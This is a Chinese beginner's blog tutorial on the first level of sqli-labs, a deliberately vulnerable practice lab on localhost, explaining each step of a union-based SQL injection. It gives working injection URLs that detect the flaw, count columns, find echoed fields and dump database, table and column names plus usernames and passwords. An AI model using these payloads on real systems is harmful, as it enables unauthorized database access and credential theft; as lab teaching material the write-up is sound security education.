sqli-labs第一关详解 纯新手向 含原理

Less-01

为方便初学者理解,更改了sqli-labs的源码,以显示sql语句
后期学习中需要自己推理

初始页面
在这里插入图片描述

在url后面用get传值id=1,随后能看到网页出现变化
如下图
在这里插入图片描述

不断更改上传id的值,会有不同的用户信息显示。 按递增顺序直到14为止, 即(1~14)

判断注入点是否存在且能否使用

一般使用单引号进行判断,加到url后面
在这里插入图片描述

出现报错 内容大致为LIMIT0,1附近有语法错误。

为什么要使用单引号进行判断

实际上,我们可以看到sql语句为

SELECT * FROM users WHERE id=‘1’’ LIMIT 0,1

因为在1的右边多出了一个单引号,也就时我们注入了一个单引号
原本为SELECT * FROM users WHERE id=‘1’ LIMIT 0,1
然后进行下一步的操作,老三样or 1=1 and 1=1 and 1=2
因为1=1为恒真,且前面的id='1’也为真 所以or 1=1 和 and 1=1并没有出现什么异常
但是and 1=2,因为1=2为假,所以原本id=1的用户信息不见了
在这里插入图片描述

说明存在注入点。

limit作用

在这里插入图片描述

猜字段数

随后可以使用order by进行判断,有几列信息(字段数)

http://localhost/sqli-labs/Less-1/?id=1’ order by 3 --+

url最后的- -+用来注释掉后面的limit0,1
从1开始直到4,发现3的时候没异常,但是4的时候报错,说明没有第四个字段即没有第四列
在这里插入图片描述

在这里插入图片描述

原理

打开MySQL,对存放这些用户信息的表依次使用order by 1(2,3)
如图、发现order by的作用是对第N列进行排序 ,因为一共有3列,所以order by 4时会报错
在这里插入图片描述
在这里插入图片描述

继续操作 使用联合查询找出回显点

union select判断回显

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2,3 --+

构造sql语句SELECT * FROM users WHERE id=‘16’ union select 1,2,3 --+ ’ LIMIT 0,1
发现页面回显2,3出现在页面上,所以可以对2,3所在位置加以利用。
在这里插入图片描述

原理

在MySQL中对存放用户信息的表进行union select 1,2,3。改变前面id的值,对比结果。
在这里插入图片描述
然后对union select找出的回显点进行利用,来获得目标信息。

爆数据库库名,表名,字段名,用户名,密码,MySQL版本信息

version()函数MySQL数据库版本,user()为当前用户名
在原本2的位置改为version(),3的位置写入user()

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,version(), user() --+

如图 页面回显了MySQL的版本信息,当前用户的用户名

在这里插入图片描述

爆数据库名

MySQL数据库名都在这个information_schema库下的schemata表中

用这个sql语句能爆出库名

select schema_name from information_schema.schemata;

在这里插入图片描述
构造语句

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2, schema_name from information_schema.schemata limit 0,1 --+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

按以上limit提取数据库名有点繁琐,可以使用group_concat()函数,将所有数据合并为一个字段一并取出

构造语句

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(schema_name) from information_schema.schemata --+

database()是当前使用的数据库名,后面group_concat(schema_name) from information_schema.schemata --+为用户所有的数据库名

在这里插入图片描述
爆表名
MySQL数据库中表名都在这个information_schema库下的tables表中
当前使用的数据库为Security
然后构造语句爆出该库下所有的表名

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

在这里插入图片描述

爆字段名
MySQL数据库中字段名都在这个information_schema库下的columns表中
构造语句

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(column_name) from information_schema.columns where table_name=‘users’ --+

在这里插入图片描述
因为我本机的运行环境比较复杂,正常情况下只有三个字段名id,username和password

获取用户数据

获取用户名

至此,知道数据库名、表名和字段名,构造语句爆出用户名和密码

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2 , group_concat(username) from security.users --+

在这里插入图片描述
获取密码

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2 , group_concat(password) from security.users --+

在这里插入图片描述

less-01结束

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值